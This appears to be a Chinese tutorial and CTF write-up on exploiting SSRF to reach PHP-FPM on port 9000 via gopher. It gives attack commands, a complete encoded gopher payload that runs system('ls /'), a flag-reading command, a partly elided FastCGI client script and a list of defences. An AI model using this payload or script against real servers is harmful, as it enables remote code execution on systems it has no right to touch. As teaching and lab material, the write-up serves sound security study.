利用SSRF攻击内网FastCGI协议
字数 1382 2025-08-15 21:33:46
SSRF攻击内网FastCGI协议深入分析与实践
1. FastCGI协议基础
1.1 FastCGI协议概述
FastCGI是一种通信协议,与HTTP协议不同:
- HTTP协议:浏览器与服务器中间件(如Nginx、Apache)之间的数据交换协议
- FastCGI协议:服务器中间件与语言后端(如PHP)之间的数据交换协议
FastCGI协议特点:
- 有自己的特定格式
- 包含header和body结构
- 包含许多不可见字符,难以手动构造payload
1.2 PHP-FPM简介
PHP-FPM(FastCGI进程管理器)是FastCGI协议的一个具体实现,提供进程管理功能:
进程结构:
- master进程:负责与Web服务器通信,接收HTTP请求并转发给worker进程
- worker进程:负责动态执行PHP代码,处理完成后返回结果
工作流程示例:
用户访问http://127.0.0.1/index.php?a=1&b=2时:
- Nginx将请求转换为key-value对
- 按照FastCGI规则打包请求
- 发送给PHP-FPM处理
2. 攻击原理分析
2.1 基本攻击条件
- PHP-FPM默认监听9000端口,通常只接受本地请求
- 两种攻击场景:
- 配置不当使端口暴露在公网
- 通过SSRF利用服务器作为跳板攻击内网服务
2.2 关键攻击点:SCRIPT_FILENAME
- 控制
SCRIPT_FILENAME参数可指定执行的文件 - 历史漏洞:可指定任意文件(如
/etc/passwd) - 现代防护:
security.limit_extensions限制只能执行.php文件
2.3 任意代码执行技术
利用PHP的两个配置项实现代码执行:
- auto_prepend_file:在执行PHP文件前自动包含指定文件
- auto_append_file:在执行PHP文件后自动包含指定文件
攻击方法:
- 设置
auto_prepend_file = php://input - 需要同时配置
allow_url_include = On - 将恶意代码放在请求body中
配置修改方式:
- 通过FastCGI数据包中的环境变量:
PHP_VALUE:设置模式为PHP_INI_USER和PHP_INI_ALL的选项PHP_ADMIN_VALUE:可设置所有选项
3. 攻击实践步骤
3.1 环境准备
-
使用netcat监听端口并记录流量:
nc -lvvp [端口] > [文件名] -
准备攻击脚本(示例Python脚本见附录)
3.2 攻击执行
-
运行攻击脚本:
python Attack.py -c "<?php system('ls /');?>" -p 9000 目标IP /var/www/html/index.php -
分析捕获的流量:
hexdump -C 流量文件 -
对流量进行双重URL编码:
from urllib.parse import quote file = open('1.txt','rb') payload = file.read() payload = quote(payload).replace("%0A","%0A%0D") print("gopher://127.0.0.1:9000/_"+quote(payload)) -
构造最终payload:
gopher://127.0.0.1:9000/_%2501%2501T%259E%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504T%259E%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2510CONTENT_TYPEapplication/text%250E%2502CONTENT_LENGTH23%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504T%259E%2500%2500%2500%2500%2501%2505T%259E%2500%2517%2500%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%253B%253F%253E%2501%2505T%259E%2500%2500%2500%2500 -
通过SSRF发送payload获取命令执行结果
3.3 获取flag
修改攻击命令读取flag文件:
python Attack.py -c "<?php system('cat /flag_052c3b0c46ee677f6f63b629f7f314a1');?>" -p 9000 目标IP /var/www/html/index.php
4. 防御措施
-
限制PHP-FPM访问:
- 确保PHP-FPM只监听127.0.0.1
- 使用防火墙限制9000端口的访问
-
安全配置:
- 保持
security.limit_extensions为默认值(只允许.php) - 禁用危险PHP函数(
system,exec等) - 关闭
allow_url_include
- 保持
-
SSRF防护:
- 验证用户输入的URL
- 禁止访问内网地址
- 使用白名单限制可访问的协议和域名
附录:FastCGI攻击Python脚本
import socket
import random
import argparse
import sys
from io import BytesIO
# ... [完整脚本内容见原文] ...
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)